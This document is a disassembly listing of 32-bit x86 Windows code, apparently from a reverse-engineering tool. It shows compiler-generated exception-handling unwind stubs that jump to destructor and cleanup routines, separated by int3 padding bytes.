; ---------------------------------------------------------------------------
db 15h dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
SEH_4227F0 proc near ; DATA XREF: sub_4227F0+2o
mov eax, offset dword_441800
jmp sub_4367C8
SEH_4227F0 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-788h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-788h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-624h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-788h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-788h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-788h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-788h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-788h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-788h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-788h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-788h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
SEH_422A40 proc near ; DATA XREF: sub_422A40+8o
mov eax, offset dword_441850
jmp sub_4367C8
SEH_422A40 endp
; ---------------------------------------------------------------------------
db 2Dh dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
SEH_425980 proc near ; DATA XREF: sub_425980+2o
mov eax, offset dword_4418D8
jmp sub_4367C8
SEH_425980 endp
; ---------------------------------------------------------------------------
align 10h
mov eax, [ebp-40h]
push eax
call sub_4367E2
; ---------------------------------------------------------------------------
pop ecx
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
mov eax, [ebp-40h]
push eax
call sub_4367E2
; ---------------------------------------------------------------------------
pop ecx
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
mov eax, [ebp-40h]
push eax
call sub_4367E2
; ---------------------------------------------------------------------------
pop ecx
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
mov eax, [ebp-40h]
push eax
call sub_4367E2
; ---------------------------------------------------------------------------
pop ecx
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43B6A4: ; DATA XREF: ___:00425BD2o
mov eax, offset dword_441928
jmp sub_4367C8
; ---------------------------------------------------------------------------
db 32h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
jmp sub_4014C4
; =============== S U B R O U T I N E =======================================
SEH_426450 proc near ; DATA XREF: sub_426450+2o
mov eax, offset dword_441A08
jmp sub_4367C8
SEH_426450 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_402031
; ---------------------------------------------------------------------------
loc_43B708: ; DATA XREF: ___:00441A64o
mov ecx, [ebp-10h]
add ecx, 11h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 26h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 3Bh
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 64h
jmp sub_401226
; =============== S U B R O U T I N E =======================================
SEH_4264C0 proc near ; DATA XREF: sub_4264C0+2o
mov eax, offset dword_441A38
jmp sub_4367C8
SEH_4264C0 endp
; ---------------------------------------------------------------------------
db 12h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
jmp sub_402031
; ---------------------------------------------------------------------------
loc_43B758: ; DATA XREF: ___:00441AB4o
mov ecx, [ebp-10h]
add ecx, 11h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 26h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 3Bh
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 64h
jmp sub_401226
; =============== S U B R O U T I N E =======================================
SEH_426560 proc near ; DATA XREF: sub_426560+2o
mov eax, offset dword_441A88
jmp sub_4367C8
SEH_426560 endp
; ---------------------------------------------------------------------------
db 12h dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
SEH_4266A0 proc near ; DATA XREF: sub_4266A0+2o
mov eax, offset dword_441AD8
jmp sub_4367C8
SEH_4266A0 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_4014C4
; =============== S U B R O U T I N E =======================================
SEH_4269A0 proc near ; DATA XREF: sub_4269A0+2o
mov eax, offset dword_441B08
jmp sub_4367C8
SEH_4269A0 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
SEH_426A60 proc near ; DATA XREF: sub_426A60+2o
mov eax, offset dword_441B38
jmp sub_4367C8
SEH_426A60 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_4014C4
; =============== S U B R O U T I N E =======================================
SEH_426EB0 proc near ; DATA XREF: sub_426EB0+2o
mov eax, offset dword_441B68
jmp sub_4367C8
SEH_426EB0 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
SEH_426F70 proc near ; DATA XREF: sub_426F70+2o
mov eax, offset dword_441B98
jmp sub_4367C8
SEH_426F70 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_4014C4
; =============== S U B R O U T I N E =======================================
SEH_427590 proc near ; DATA XREF: sub_427590+2o
mov eax, offset dword_441BC8
jmp sub_4367C8
SEH_427590 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
SEH_427650 proc near ; DATA XREF: sub_427650+2o
mov eax, offset dword_441BF8
jmp sub_4367C8
SEH_427650 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_40179E
; =============== S U B R O U T I N E =======================================
SEH_427DC0 proc near ; DATA XREF: sub_427DC0+2o
mov eax, offset dword_441C28
jmp sub_4367C8
SEH_427DC0 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_402031
; ---------------------------------------------------------------------------
loc_43B8A8: ; DATA XREF: ___:00441C84o
mov ecx, [ebp-10h]
add ecx, 11h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 26h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 43h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 58h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 6Dh
jmp sub_401226
; =============== S U B R O U T I N E =======================================
SEH_427E30 proc near ; DATA XREF: sub_427E30+2o
mov eax, offset dword_441C58
jmp sub_4367C8
SEH_427E30 endp
; ---------------------------------------------------------------------------
db 17h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
jmp sub_402031
; ---------------------------------------------------------------------------
loc_43B908: ; DATA XREF: ___:00441CDCo
mov ecx, [ebp-10h]
add ecx, 11h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 26h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 43h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 58h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 6Dh
jmp sub_401226
; =============== S U B R O U T I N E =======================================
SEH_427EF0 proc near ; DATA XREF: sub_427EF0+2o
mov eax, offset dword_441CB0
jmp sub_4367C8
SEH_427EF0 endp
; ---------------------------------------------------------------------------
db 17h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-28h]
jmp sub_40179E
; ---------------------------------------------------------------------------
loc_43B968: ; DATA XREF: ___:00441D34o
mov ecx, [ebp-28h]
add ecx, 0A1h
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
SEH_428160 proc near ; DATA XREF: sub_428160+2o
mov eax, offset dword_441D08
jmp sub_4367C8
SEH_428160 endp
; ---------------------------------------------------------------------------
db 18h dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-53ECh]
jmp sub_4014B0
; ---------------------------------------------------------------------------
loc_43B9AB: ; DATA XREF: ___:00441D74o
lea ecx, [ebp-5490h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-5474h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-5274h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-528Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-525Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-537Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-5334h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-522Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-5304h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-5244h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-52D4h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-545Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-5444h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-541Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-5404h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-52A4h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-5364h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-534Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-531Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-52ECh]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-52BCh]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43BA92: ; DATA XREF: sub_4282C0+8o
mov eax, offset dword_441D48
jmp sub_4367C8
; ---------------------------------------------------------------------------
db 44h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
jmp sub_40179E
; =============== S U B R O U T I N E =======================================
SEH_4299C0 proc near ; DATA XREF: sub_4299C0+2o
mov eax, offset dword_441E30
jmp sub_4367C8
SEH_4299C0 endp
; ---------------------------------------------------------------------------
align 10h
mov eax, [ebp-10h]
push eax
call sub_4367E2
; ---------------------------------------------------------------------------
pop ecx
retn
; =============== S U B R O U T I N E =======================================
SEH_429AA0 proc near ; DATA XREF: sub_429AA0+2o
mov eax, offset dword_441E60
jmp sub_4367C8
SEH_429AA0 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_40179E
; =============== S U B R O U T I N E =======================================
SEH_429D00 proc near ; DATA XREF: sub_429D00+2o
mov eax, offset dword_441E90
jmp sub_4367C8
SEH_429D00 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_40179E
; =============== S U B R O U T I N E =======================================
SEH_42A090 proc near ; DATA XREF: sub_42A090+2o
mov eax, offset dword_441EC0
jmp sub_4367C8
SEH_42A090 endp
; ---------------------------------------------------------------------------
align 10h
mov eax, [ebp-30h]
push eax
call sub_4367E2
; ---------------------------------------------------------------------------
pop ecx
retn
; =============== S U B R O U T I N E =======================================
SEH_42A150 proc near ; DATA XREF: sub_42A150+8o
mov eax, offset dword_441EF0
jmp sub_4367C8
SEH_42A150 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
SEH_42AEC0 proc near ; DATA XREF: sub_42AEC0+5o
mov eax, offset dword_441F20
jmp sub_4367C8
SEH_42AEC0 endp
; ---------------------------------------------------------------------------
align 10h
loc_43BB90: ; DATA XREF: ___:0042AFD5o
mov eax, offset dword_441F80
jmp sub_4367C8
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp+20h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43BBA8: ; DATA XREF: ___:0044200Co
lea ecx, [ebp+8]
jmp sub_401226
; ---------------------------------------------------------------------------
mov eax, [ebp-1A0h]
push eax
call sub_4367E2
; ---------------------------------------------------------------------------
pop ecx
retn
; =============== S U B R O U T I N E =======================================
SEH_42B060 proc near ; DATA XREF: sub_42B060+2o
mov eax, offset dword_441FE0
jmp sub_4367C8
SEH_42B060 endp
; ---------------------------------------------------------------------------
db 18h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 8
jmp sub_401226
; =============== S U B R O U T I N E =======================================
SEH_42B240 proc near ; DATA XREF: sub_42B240+2o
mov eax, offset dword_442020
jmp sub_4367C8
SEH_42B240 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_40179E
; ---------------------------------------------------------------------------
loc_43BC08: ; DATA XREF: ___:0042B2E2o
mov eax, offset dword_442050
jmp sub_4367C8
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_40179E
; =============== S U B R O U T I N E =======================================
SEH_42B480 proc near ; DATA XREF: sub_42B480+2o
mov eax, offset dword_442080
jmp sub_4367C8
SEH_42B480 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_40179E
; ---------------------------------------------------------------------------
mov eax, offset dword_4420B0
jmp sub_4367C8
; ---------------------------------------------------------------------------
align 10h
mov eax, [ebp-30h]
push eax
call sub_4367E2
; ---------------------------------------------------------------------------
pop ecx
retn
; =============== S U B R O U T I N E =======================================
SEH_42B880 proc near ; DATA XREF: sub_42B880+8o
mov eax, offset dword_4420E0
jmp sub_4367C8
SEH_42B880 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
SEH_42BB70 proc near ; DATA XREF: sub_42BB70+2o
mov eax, offset dword_442110
jmp sub_4367C8
SEH_42BB70 endp
; ---------------------------------------------------------------------------
db 16h dup(0CCh)
; ---------------------------------------------------------------------------
mov eax, [ebp+4]
push eax
call sub_4367E2
; ---------------------------------------------------------------------------
pop ecx
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
mov eax, [ebp+4]
push eax
call sub_4367E2
; ---------------------------------------------------------------------------
pop ecx
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
mov eax, [ebp+4]
push eax
call sub_4367E2
; ---------------------------------------------------------------------------
pop ecx
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
mov eax, [ebp+4]
push eax
call sub_4367E2
; ---------------------------------------------------------------------------
pop ecx
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-6Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-74h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-70h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43BD84: ; DATA XREF: ___:0042BE68o
mov eax, offset dword_442168
jmp sub_4367C8
; ---------------------------------------------------------------------------
db 32h dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
SEH_4347B0 proc near ; DATA XREF: sub_4347B0+2o
mov eax, offset dword_442250
jmp sub_4367C8
SEH_4347B0 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-168Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43BDEB: ; DATA XREF: ___:004422B4o
lea ecx, [ebp-16A4h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43BDF6: ; DATA XREF: ___:004348A8o
mov eax, offset dword_442288
jmp sub_4367C8
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
SEH_4351E0 proc near ; DATA XREF: sub_4351E0+2o
mov eax, offset dword_4422C0
jmp sub_4367C8
SEH_4351E0 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
SEH_4355E0 proc near ; DATA XREF: sub_4355E0+2o
mov eax, offset dword_4422F0
jmp sub_4367C8
SEH_4355E0 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-128h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-128h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-128h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-128h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-128h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-128h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-128h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-128h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-128h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-128h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
SEH_4356F0 proc near ; DATA XREF: sub_4356F0+8o
mov eax, offset dword_442328
jmp sub_4367C8
SEH_4356F0 endp
; ---------------------------------------------------------------------------
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
